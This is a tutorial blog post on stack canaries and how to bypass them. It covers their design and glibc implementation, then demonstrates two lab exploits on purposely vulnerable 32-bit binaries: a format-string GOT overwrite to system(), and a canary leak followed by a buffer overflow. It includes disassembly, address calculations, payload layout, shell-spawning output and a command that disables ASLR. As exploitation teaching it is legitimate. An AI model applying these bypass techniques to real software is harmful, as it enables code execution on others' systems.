Hey there! After quite some time the second part will be finally published :) ! Sorry for the delay, real life can be overwhelming ;)..
I have introduced this series by covering Data Execution Prevention (DEP). Today we’re dealing with the next big technique. As the title already suggests it will be about stack canaries. The format will be similar to last time. First we will dealing with a basic introduction to the approach, directly followed by a basic exploitation part.
REMARK: The following is the result of a self study and might contain faulty information. If you find any let me know. Thanks!
- Some spare minutes
- A basic understanding of what causes memory corruptions
- The will to ask or look up unknown terms yourself
- Some ASM/C knowledge
- Basic format string bugs
- How linking processes/libraries works (GOT)
Stack Canaries / Stack Cookies (SC)
To prevent corrupted buffers during program runtime another technique besides data execution prevention called stack canaries was proposed and finally implemented as a counter measure against the emerging threat of buffer corruption exploits. It was adapted early! Patching a single buffer vulnerability in an application is harmless, but even within one program the causes of a simple patched buffer size might cause harm to other areas. On top of that the amount of programs running with legacy code and system rights over their needs is considerable large. Overall this patch driven nature of software development in combination with the usage of type unsafe languages like C/C++ makes such buffer problems still reappear too frequently. Instead of trying to fix the problem at source level, which patching tries to, canaries try to fix the problem at hand: the stack structure.
The basic methodology is to place a filler word, the canary, between local variables or buffer contents in general and the return address. This is done for every* (*if the right compiler flag is chosen) function called, not just once for some oblivious main function. So an overwriting of multiple canary values is often required during an exploit. A basic scheme is shown
Note: This is only a basic overview. detailed low-level views can slightly differ
Remark: Retake on base pointers in case you forgot!
The canary can consist of different metrics. Random or terminator values are the commonly used ones in the end. When reaching (close to) a return instruction during code execution the integrity of the canary is checked first to evaluate if it was changed. If no alteration is found, execution resumes normally. If a tampered with canary value is detected program execution is terminated immediately, since it indicates a malicious intent. A user controlled input is often the cause for this :P . The most simple case for this scenario is a basic stack smashing attack, where the amount of bytes written to a buffer exceeds the buffer size. Pairing that with a system call that does not do any bounds checking results in overwriting the canary value.
The first implementation of stack canaries on Linux based systems appeared in 1997 with the publication of StackGuard, which came as a set of patches for the GNU Compiler Collection (GCC).
Let’s just take this sample code snipped for clarification:
As the name terminator suggests once it is reached during an attempted overwrite it should stop the overwriting.
An example value for this is
0x00 will stop
strcpy() and we won’t be able to alter the return address.
gets() were used instead of
strcpy() to read into a buffer, we would be able to write
0x0a would stop it.
That is how these terminator values work on a basic level.
In general we can say that a terminator canary contains NULL(0x00), CR (0x0d), LF (0x0a) and EOF (0xff). Such a combination of these four 2-byte characters should terminate most string operations, rendering the overflow attempt harmless.
Random canaries on the other hand do not try to stop string operations.
They want to make it exceedingly difficult for attackers to find the right value so a process is terminated once tampering is detected.
The random value is taken from
/dev/urandom if available, and created by hashing the time of day if
/dev/urandom is not supported.
This randomness is sufficient to prevent most prediction attempts.
Closer look at canary implementations
Let’s take a quick peek at the current canary implementation of the most recent glibc 2.26 libc-start.c:
What’s interesting here is that we can see the basic design choices mentioned earlier!
_dl_setup_stack_chk_guard() allows to create all the canary types.
dl_random is null,
__stack_chk_guard will be a terminator canary, otherwise random canary.
This technique is exposed to several weaknesses.
One is namely static canary values that are easily found out using brute force or by simply repeatedly guessing…
Using random or terminator values instead migrated this flaw early on.
This hardens the security implications, but an adversary may still circumvent this technique.
When finding a way to extract the canary value from the memory space of an application during runtime it is possible to bypass canary protected applications.
Alternatively if a terminator canary like
0x000aff0d is used we cannot write past it with common string operations, but it is possible to write to memory up until to the canary.
This effectively allows to gain full control of the frame pointer.
If this is possible, as well as having the possibility to write to a memory region like the stack or heap, we can bend the frame pointer to point to
terminator_canary+shellcode_address in memory.
This allows us to return to injected shell code.
Another bypass is possible through a technique called structured exception handler exploitation (SEH exploit). It makes use of the fact that stack canaries modify function pro- and epilogue for canary verification purposes. If a buffer on stack or heap is overwritten during runtime, and the fault is noticed before the execution of the copy/write function returns, an exception is raised. The exception is passed to a local exception handler that again passes it to the correct system specific exception handler to handle the fault. Changing said exception handler to point to user controlled input like shell code makes it return to that. This bypasses any canary check and execution of any provided malicious input is accomplished.
Note: Structured exception handlers are Windows specific!
Note2: These limitations do not represent all possibilities for how to bypass canaries!
Abusing a stack canary disabled binary
I won’t cover this over here again. It already was demonstrated how to do that with a basic stack smashing attack in my last articles about DEP.
Abusing enabled stack canaries
Note: ASLR is still disabled for now: echo 0 > /proc/sys/kernel/randomize_va_space
The vulnerable program
Let’s consider this small program:
For our PoC we don’t need much, hence the program is quite small.
All it does is it takes some input via
fgets() and prints it with
For some dubious reason
strdup() is present here too ;)
Note: The strdup(s) function returns a pointer to a new string which is a duplicate of the string s.
Let’s compile it with
gcc -fstack-protector-all -m32 -o vuln vuln.c.
And check if I didn’t lie about the enabled exploit mitigations:
gef➤ checksec [+] checksec for '/0x00sec/Canary/binary/vuln' Canary : Yes → value: 0xd41a2e00 NX : Yes PIE : No Fortify : No RelRO : Partial gef➤
Data execution prevention (NX) as well as canaries are fully enabled.
For the sake of usability
gef and other gdb enhancements can already display the current canary value.
Alternatively if stack canaries are present we always have the ` __stack_chk_fail` symbol, which we can search for:
Brief look at the assembly
gef➤ disassemble main Dump of assembler code for function main: 0x080485ef <+0>: lea ecx,[esp+0x4] 0x080485f3 <+4>: and esp,0xfffffff0 0x080485f6 <+7>: push DWORD PTR [ecx-0x4] 0x080485f9 <+10>: push ebp 0x080485fa <+11>: mov ebp,esp 0x080485fc <+13>: push ecx 0x080485fd <+14>: sub esp,0x24 0x08048600 <+17>: mov eax,ecx 0x08048602 <+19>: mov edx,DWORD PTR [eax] 0x08048604 <+21>: mov DWORD PTR [ebp-0x1c],edx 0x08048607 <+24>: mov eax,DWORD PTR [eax+0x4] 0x0804860a <+27>: mov DWORD PTR [ebp-0x20],eax 0x0804860d <+30>: mov eax,gs:0x14 ; canary right here 0x08048613 <+36>: mov DWORD PTR [ebp-0xc],eax 0x08048616 <+39>: xor eax,eax ; at this point we can inspect the canary in gdb as well 0x08048618 <+41>: call 0x8048576 <vuln> ; vuln() function call 0x0804861d <+46>: mov eax,0x0 0x08048622 <+51>: mov ecx,DWORD PTR [ebp-0xc] 0x08048625 <+54>: xor ecx,DWORD PTR gs:0x14 ; canary check routine is started 0x0804862c <+61>: je 0x8048633 <main+68> 0x0804862e <+63>: call 0x8048410 <[email protected]> ; canary fault handler if check fails 0x08048633 <+68>: add esp,0x24 0x08048636 <+71>: pop ecx 0x08048637 <+72>: pop ebp 0x08048638 <+73>: lea esp,[ecx-0x4] 0x0804863b <+76>: ret End of assembler dump. gef➤ disassemble vuln Dump of assembler code for function vuln: 0x08048576 <+0>: push ebp 0x08048577 <+1>: mov ebp,esp 0x08048579 <+3>: sub esp,0x218 0x0804857f <+9>: mov eax,gs:0x14 ; canary right here 0x08048585 <+15>: mov DWORD PTR [ebp-0xc],eax 0x08048588 <+18>: xor eax,eax 0x0804858a <+20>: mov eax,ds:0x804a040 0x0804858f <+25>: sub esp,0x4 0x08048592 <+28>: push eax 0x08048593 <+29>: push 0x200 0x08048598 <+34>: lea eax,[ebp-0x20c] 0x0804859e <+40>: push eax 0x0804859f <+41>: call 0x8048400 <[email protected]> ; fgets routine to fetch user input 0x080485a4 <+46>: add esp,0x10 0x080485a7 <+49>: sub esp,0xc 0x080485aa <+52>: lea eax,[ebp-0x20c] 0x080485b0 <+58>: push eax ; user input is pushed as argument for printf 0x080485b1 <+59>: call 0x80483d0 <[email protected]> ; printf routine call 0x080485b6 <+64>: add esp,0x10 0x080485b9 <+67>: sub esp,0xc 0x080485bc <+70>: push 0x80486e4 ; string is pushed as argument for puts 0x080485c1 <+75>: call 0x8048420 <[email protected]> ; puts routine call 0x080485c6 <+80>: add esp,0x10 0x080485c9 <+83>: sub esp,0xc 0x080485cc <+86>: lea eax,[ebp-0x20c] 0x080485d2 <+92>: push eax ; buffer contents pushed as argument to strdup 0x080485d3 <+93>: call 0x80483f0 <[email protected]> ; strdup routine call 0x080485d8 <+98>: add esp,0x10 0x080485db <+101>: nop 0x080485dc <+102>: mov eax,DWORD PTR [ebp-0xc] 0x080485df <+105>: xor eax,DWORD PTR gs:0x14 ; canary check routine is started 0x080485e6 <+112>: je 0x80485ed <vuln+119> 0x080485e8 <+114>: call 0x8048410 <[email protected]> ; canary fault handler if check fails 0x080485ed <+119>: leave 0x080485ee <+120>: ret End of assembler dump. gef➤
So nothing out of the ordinary so far.
I did not strip the binary and everything we would expect is at the correct place.
Additionally the canary initializations and checks are nicely observable!
Furthermore it is shown that the canary check is done in every called function, not just in the
main() function of the program.
Recap Format String attacks
The following exploit makes use of a format string bug.
Hence I will quickly recap the basics here.
Mostly used in conjunction with
If we have control over what
printf() is gonna print, let’s say the contents of a user controlled
buf then we can use the following format parameters as input to manipulate the output!
Parameters* Meaning Passed as -------------------------------------------------------------------------- %d decimal (int) value %u unsigned decimal (unsigned int) value %x hexadecimal (unsigned int) value %s string ((const) (unsigned) char*) reference %n number of bytes written so far, (*int) reference *Note: Only most relevant format paramters displayed
If we pass n
printf() it instructs the function to retrieve n parameters from the stack and display them as 8-digit padded hexadecimal numbers.
This can be used to view memory at any location if done right, or even write a wanted amount of bytes (with
%n) to a certain address in memory!
If you feel you need to brush up on it by a lot take a look at this format string writeup from picoCTF.
We will take a closer look at overwriting the Global Offset Table (GOT)! This is possible because we don’t have a fully enabled RelRO:
* the ELF sections are reordered so that the ELF internal data sections (.got, .dtors, etc.) precede the program's data sections (.data and .bss) * non-PLT GOT is read-only * GOT is still writeable
* supports all the features of partial RELRO * the entire GOT is also (re)mapped as read-only
If you’re struggling with the whole Global Offset Table mess I strongly recommend reading these articles on 0x00sec:
- Linux Internals ~ Dynamic Linking Wizardry!
- and Linux Internals ~ The Art Of Symbol Resolution for an even more detailed introduction!
If you’re still continuing reading without prior knowledge here is the basic approach I’m gonna take:
1. Find a way to get a shell 2. Calculate the bytes to write for a format string attack 3. Overwrite the GOT entry for strdup() with a function we can actually use for an exploit: system()
First we want to examine where our local libc is located. We can do this from within gdb as well:
gef➤ vmmap libc Start End Offset Perm Path 0xf7dfd000 0xf7fad000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so <- 0xf7fad000 0xf7faf000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so 0xf7faf000 0xf7fb0000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so gef➤
The base address of the used libc is at
Next we want to find a way to pop a shell.
What could be better than
system() offset in glibc is
Let’s add up those to addresses to get the final address of
system() in the library.
0xf7dfd000 + 0x3ada0 = 0xf7e37da0
Let’s check if we didn’t fail our maths:
gef➤ x 0xf7e37da0 0xf7e37da0 <__libc_system>: 0x8b0cec83 gef➤
Looks good! Sweet!
Note: Reminder on how system() works.
Next on our list is to find the address of
strdup() in the GOT to be able to overwrite it!
Let’s take a look at the assembly snippet from the
vuln() function for a second:
... 0x080485c9 <+83>: sub esp,0xc 0x080485cc <+86>: lea eax,[ebp-0x20c] 0x080485d2 <+92>: push eax => 0x080485d3 <+93>: call 0x80483f0 <[email protected]> 0x080485d8 <+98>: add esp,0x10 0x080485db <+101>: nop ... gef➤ disassemble 0x80483f0 Dump of assembler code for function [email protected]: 0x080483f0 <+0>: jmp DWORD PTR ds:0x804a014 0x080483f6 <+6>: push 0x10 0x080483fb <+11>: jmp 0x80483c0 End of assembler dump. gef➤
0x804a014 is the address we want to overwrite!
Following now is a quick script I put together to get a shell without disrupting any normal control flow of the program.
The bytes to overwrite
strdup() to get
system() where manually calculated by trial and error.
First you want to check where on the stack your buffer arguments reside by doing something like this:
Ideally you can quickly find the
41414141 42424242 43434343 in the output besides other addresses.
If you do you can see at which position your fed input is dumped.
For example it could look like this:
AAAABBBBCCCC200 f7faf5a0 f7ffd53c ffffcc48 f7fd95c5 0 41414141 42424242 43434343 25207825 78252078 20782520 25207825 78252078 20782520
That would mean our input is on the 7th position of the stack.
We can replace
AAAABBBBCCCC now with something more meaningful like an entry from the GOT we want ot overwrite.
Basically what we want to do next is write a certain amount of bytes and with that change the address of
I do this 4 times to overwrite the 4 2byte positions of
strdup() within the GOT.
$ python bypass_canary.py [*] '/home/lab/Git/RE_binaries/0x00sec_WIP/Canary/binary/vuln2' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) [*] '/lib/i386-linux-gnu/libc-2.23.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './binary/vuln2': pid 20723 [*] Switching to interactive mode sh;# \x14\xa0\x0\x15\xa0\x0\x16\xa0\x0\x17\xa0\x0 804a014 0 f7ffd000 f7ffd53cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXwhoamiWelcome 0x00sec to Stack Canaries $ whoami lab
Ok this worked but it did not necessarily defeat stack canaries! I just opened another can of delicious attack surfaces and with that I was able to bypass the canaries completely. Since that just doesn’t feel quite right I will give another PoC for defeating the mechanism in a more appropriate manner.
Defeating stack canaries 4 realz now
Okay this time around a more ‘standard’ way of defeating stack canaries is shown
This just reads some user input and prints some stuff back out.
As the function names suggest the easiest way to beat canaries is through an information leak.
We can accomplish this by using the
Similar as before we will abuse a format string.
Afterwards we leverage a buffer overflow opportunity in the
totallySafeFunc() to redirect control flow to our likings.
Note: Obviously this binary is heavily vulnerable!
The focus for the exploit will be on
Let’s check out the
asm for any possible anomalies:
gef➤ disassemble minorLeak Dump of assembler code for function minorLeak: 0x080485f6 <+0>: push ebp 0x080485f7 <+1>: mov ebp,esp 0x080485f9 <+3>: sub esp,0x218 ; 536 bytes on the stack are reserved 0x080485ff <+9>: mov eax,gs:0x14 ; stack canary 0x08048605 <+15>: mov DWORD PTR [ebp-0xc],eax 0x08048608 <+18>: xor eax,eax 0x0804860a <+20>: sub esp,0x8 0x0804860d <+23>: lea eax,[ebp-0x20c] 0x08048613 <+29>: push eax 0x08048614 <+30>: push 0x804879f 0x08048619 <+35>: call 0x80484b0 <[email protected]> ; user input is copied into buf 0x0804861e <+40>: add esp,0x10 0x08048621 <+43>: sub esp,0xc 0x08048624 <+46>: lea eax,[ebp-0x20c] 0x0804862a <+52>: push eax 0x0804862b <+53>: call 0x8048450 <[email protected]> ; the contents of buf are printed out 0x08048630 <+58>: add esp,0x10 0x08048633 <+61>: nop 0x08048634 <+62>: mov eax,DWORD PTR [ebp-0xc] ; stack canary verifucation routine started 0x08048637 <+65>: xor eax,DWORD PTR gs:0x14 0x0804863e <+72>: je 0x8048645 <minorLeak+79> 0x08048640 <+74>: call 0x8048460 <[email protected]> 0x08048645 <+79>: leave 0x08048646 <+80>: ret ; return to main() End of assembler dump. gef➤
gef➤ disassemble totallySafeFunc Dump of assembler code for function totallySafeFunc: 0x08048647 <+0>: push ebp 0x08048648 <+1>: mov ebp,esp 0x0804864a <+3>: sub esp,0x418 ; 1048 bytes are reserved on the stack 0x08048650 <+9>: mov eax,gs:0x14 ; stack canary 0x08048656 <+15>: mov DWORD PTR [ebp-0xc],eax 0x08048659 <+18>: xor eax,eax 0x0804865b <+20>: sub esp,0x4 0x0804865e <+23>: push 0x800 0x08048663 <+28>: lea eax,[ebp-0x40c] 0x08048669 <+34>: push eax 0x0804866a <+35>: push 0x0 0x0804866c <+37>: call 0x8048440 <[email protected]> ; user input is requestet 0x08048671 <+42>: add esp,0x10 0x08048674 <+45>: nop 0x08048675 <+46>: mov eax,DWORD PTR [ebp-0xc] ; stack canary verification routine 0x08048678 <+49>: xor eax,DWORD PTR gs:0x14 0x0804867f <+56>: je 0x8048686 <totallySafeFunc+63> 0x08048681 <+58>: call 0x8048460 <[email protected]> 0x08048686 <+63>: leave 0x08048687 <+64>: ret ; return to main() End of assembler dump. gef➤
So far we can spot nothing out of the ordinary except the obvious vulnerabilities and the presence of stack canaries. That said, let’s directly jump into the exploit development!
This exploit is not the prettiest of all exploit scripts, but it does the job ;) .
This quick script will exactly do what I shortly explained before. Here is another breakdown:
- First we leak a bunch of addresses with the
%llx.format string (long long-sized integer)
- Analyze the leaked addresses, 2b. It turns out our stack canary is at the 68th leaked address 2c. Furthermore the middle of the stack is within the lower 8 bits of the first leaked ll integer!
- Extract these values from the leak
- Craft payload:
4b. Fill buffer with junk
4c. Insert leaked canary
4d. code redirection to
[email protected]4e. fake Base Pointer 4f. address of
We can see in the output that control flow got redirected and popped us a shell! So what do we do with this information now?
If we assume we have a possible information leak and can get the canary value at all times, bypassing them is not a problem. Redirection/Changing the control flow of a program is the next big step.
- Just pulling it back to the Stack will not work if DEP is enabled.
- Overwriting the GOT is only easily possible if RELRO is only partially enabled, and leaking the canary might not even be needed in this use case,
- Otherwise good ol’ ret2system still works wonders :)
The covered approach was first implemented over 20 years ago. For such an early adaption the security aspect was quite high. But which implications for canaries must be fulfilled if they want to be viable? We kinda showed that by focusing on their weaknesses!
To be secure, a canary must ensure at least the following properties:
* be not predictable (must be generated from a source with good entropy) => depends on the used random generator! * must be located in a non-accessible location => we were able to access it! * cannot be brute-forced => goes hand in hand with the argument before and was not true! * should always contain at least one termination character => currently depends on the used canary, so not always the case!
Clever instrumentation of other program components made it possible to still find a way to build a bypass or even avoid them completely even when present in every function within a program. The two presented PoCs hopefully showed the above in a digestible way.
As always in my series I’m looking forward to any feedback. But more importantly I hope the stack canary overview cleared any misconceptions was helpful in any way. Next on the plate will be address space layout randomization!
Linux gcc stack protector flags Playing with canaries for an in depth look at canary implementations Stack smashing article on ExploitDB Bypassing stack cookies on corelan Bypassing exploit mitigations on SO SEH exploit PoC for Windows example An excellent Phrack Issue 56 on stack canaries An excellent Phrack Issue 55 on overwriting a frame pointer StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks Protecting Systems from Stack Smashing Attacks with StackGuard babypwn with leaking stack canaries 4 ways to bypass stack canaries (no real PoCs tho) Blackhat ‘09 talk about overall exploit mitigation security